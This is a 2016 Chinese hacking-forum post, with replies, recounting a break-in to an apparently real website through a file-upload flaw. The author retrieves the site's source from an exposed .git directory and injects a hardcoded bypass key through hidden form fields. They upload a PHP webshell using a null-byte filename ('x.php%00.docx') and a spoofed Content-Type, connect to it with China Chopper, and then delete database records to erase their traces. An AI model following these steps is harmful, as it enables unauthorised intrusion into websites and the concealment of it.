九零登录

[【通过】] 【已转正】通过代码审计绕过上传拿下某站

[复制链接]
发表于 2016-8-28 14:07:41 | 显示全部楼层 |阅读模式
目标分站git配置文件:http://xxx.xxx.com/.git/config
利用githack拿到上传部分的源码:index.php表单页面,post.php接受页面,function.php自定义函数页面


0x01 首先看下post.php是如何上传的,部分代码如下
[PHP] 纯文本查看 复制代码
// 上传路径
$wwwroot = "E:/WWW/upload/";
$wwwroot .= date("Y-m")."/".date("d")."/";
// 文件生成以后的文件名,默认系统生成,可更改
$itemid = intval($_POST['itemid']) ? intval($_POST['itemid']) : intval($_GET['itemid']);
$istools = $_POST['istools'] ? $_POST['istools'] : $_GET['istools'];
// 检测post或者get的istools是否等于pilianuploadtools,第二个条件服务器自动生成,略过
if ($istools != 'pilianuploadtools' && $syskey != $sslkey) {
    $errormsg = "Error Key";
} else {
// 检查上传文件名,取最后一位小数点的后缀,例如1.docx.php,返回.php
    $fileext = substr($filename, strrpos($filename, '.'));
    // 检测头部Content-Type的格式
    if (!in_array($filetype, array(
                "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
                "application/msword",
                "application/pdf",
                "application/vnd.ms-powerpoint",
                "application/vnd.openxmlformats-officedocument.presentationml.presentation",
                "application/x-zip-compressed"
            ))) {
        // 白名单比对上面$fileext返回的后缀是否如下格式
        if (!in_array(strtolower($fileext), array(".doc", ".docx", ".ppt", ".pptx",".zip"))) {
            $file["error"]= 5;
                        $errormsg = "只允许上传DOC,DOCX,PDF,PPT,PPTX,ZIP";
        }
    }
    // 上传以后生成的文件名,然后组合后缀
    $newfilename = $itemid . $fileext;
    /************************↓ 这部分是次要的 ↓*******************************
    //判断上传的大小
    if ($file["size"] > 1024 * 1024 * 6.5) {
        $errormsg = "上传的文件太大了,不能超过3MB";
    }
    if ($file["error"] > 0 || !empty($errormsg)) {
        switch ($file["error"]) {
            case 1:
                $errormsg = "上传的文件超过了 最大文件上传限制。";
                break;
            case 2:
                $errormsg = "上传的文件超过了 最大文件上传限制。";
                break;
            case 3:
                $errormsg = "文件只有部分被上传。";
                break;
            case 4:
                $errormsg = "没有文件被上传。";
                break;
            case 5:
                $errormsg = "只允许上传DOC,DOCX,PDF,PPT,PPTX,ZIP";
                break;
            default:
                break;
        }
    } else {
    ************************↑ 这部分是次要的 ↑*******************************/
        // 包含函数文件
        include("function.php");
        // 判断上传路径是否存在,不存在创建
        if (!is_dir($wwwroot)) {
            mkdir($wwwroot, 0777, TRUE);
        }
        // 创建文件
        move_uploaded_file($file["tmp_name"], $wwwroot . $newfilename);
        // 将上传好的文件名字,路径信息,插入数据库
        $res = uploadfile($itemid, $newfilename, $wwwroot . $newfilename, $uid);
        $successmsg = "上传成功,您的任务已经完成,后续转换工作系统会自动完成。";
    }
}

0x02 其次看下index.php,发现还用了JS上传验证。
[HTML] 纯文本查看 复制代码
         <form  enctype="multipart/form-data" action="post.php" method="post">
                            <br/>
                            <input type="hidden" name="syskey" value="0"/>
                            <input type="hidden" name="itemid" value="0"/>
                            <input type="hidden" name="uid" value="0"/>
                              <input type="file" name="fileToUpload" style="width:150px;" />
                                                          <br/>
                                                          <br/>
                              <input type="submit" id="subbtn" value="点击上传" name="点击上传" />
       </form>


[JavaScript] 纯文本查看 复制代码
function clickFileName(upload_field) {
        var re_text = /doc|docx|pdf|ppt|pptx|wiz|zip/i;             
        var filename = upload_field.value.toLowerCase();         
        var newFileName = filename.split('.');       
        newFileName = newFileName[newFileName.length-1];          

        /* Checking file type */
        if (newFileName.search(re_text) == -1) {                  
           alert("请选择正确的文件,只允许上传 DOC,DOCX,PDF,PPT,PPTX,ZIP类文件");
           upload_field.form.reset();
           return false;
        }
}


0x03 最后看function.php自定义函数页面
[PHP] 纯文本查看 复制代码
/**
 * 用户上传文件。等待转换。存swf数据库 swf_file_transform
 * @param type $itemid
 * @param type $file
 */
function uploadfile($itemid,$filename,$filepath,$uid){
    $method = "adduploadlog";

    $status = 0;
    $dateline = time();
    if(!$itemid || !$filename || !$filepath || !$uid ){
        return array("msg"=>"参数有误");
    }

    $conn = connect();
    $sql = "INSERT INTO swf_file_transform (itemid,filename,uid,filepath,status,dateline) values($itemid,'$filename',$uid,'$filepath',$status,$dateline)";
    mysql_query($sql,$conn);
    $res = mysql_insert_id($conn);
    closeconn();//关闭数据库连接
    return $res;
}

0x04 构造上传
禁用掉浏览器的javascript运行,绕过js验证部分
打开http://xxx.xxx.com/,接着右键将itemid的值改为777,再插入一个隐藏input,name跟value对应刚刚post.php那部分的接收。
[HTML] 纯文本查看 复制代码
<input type="hidden" name="itemid" value="777"/>
<input type="hidden" name="istools" value="pilianuploadtools">
QQ截图20160828021602.jpg
接着打开burpsuite,截断上传,文件后缀改为x.php%00.docxphp判断的时候就会检测成功.docx,绕过白名单,接着到达服务器上面的时候则又变成x.php,因为后边的.docx被截断了。
再将Content-Type: application/octet-stream改为Content-Type: application/pdf,绕过头部格式的判断。
burpsuite直接forward放行,返回看看页面,发现上传成功。
QQ截图20160828021007.jpg
然后我们再来找下文件路径,看上面的代码可以得知路径为
域名/年-月/日/文件名.php
http://xxx.xxx.com/upload/2016-08/28/777.php
访问成功,直接菜刀连上。
接着还有一个问题,就是他上传以后会将上传信息写入数据库,感觉后台应该会输出显示,我们还得去删除痕迹。
通过function.php文件得知存在swf_file_transform这个表,倒序查询最新信息,接着删除。
[SQL] 纯文本查看 复制代码
select * from swf_file_transform order by id desc limit 0,10;
delete from swf_file_transform where id=xxx;
QQ截图20160828005721.png

OVER


============================
管理给予通过,转正成功。
                   管理05








单选投票, 共有 29 人参与投票

投票已经结束

86.21% (25)
13.79% (4)
您所在的用户组没有投票权限

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

 楼主| 发表于 2016-8-28 14:10:29 | 显示全部楼层
没发过投票帖子。。第一个帖子改不了了,麻烦管理删了吧
发表于 2016-8-31 09:43:58 | 显示全部楼层
楼主 有点不懂绕过的地方。
上传文件名为:x.php%00.docx
$fileext这个取值为docx
后面生成文件时,是直接拼接的呀 并不没有重新获取文件名呀
发表于 2016-9-2 01:25:07 | 显示全部楼层
我不会代码审计 不过遇到这种我应该也能上传上次 毕竟有那么点经验。。。
发表于 2016-9-4 10:17:59 | 显示全部楼层
Strive. 发表于 2016-9-2 01:25
我不会代码审计 不过遇到这种我应该也能上传上次 毕竟有那么点经验。。。

不好说,首选你得能绕过判断,没有看源代码的话,能不能试出来就是个问题了,而且截断上传成功后,你不知道命名规则,也找不到马
发表于 2016-9-24 00:11:53 | 显示全部楼层
表示 审计还是看不懂

九零

GMT+8, 2026-10-22 14:57

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表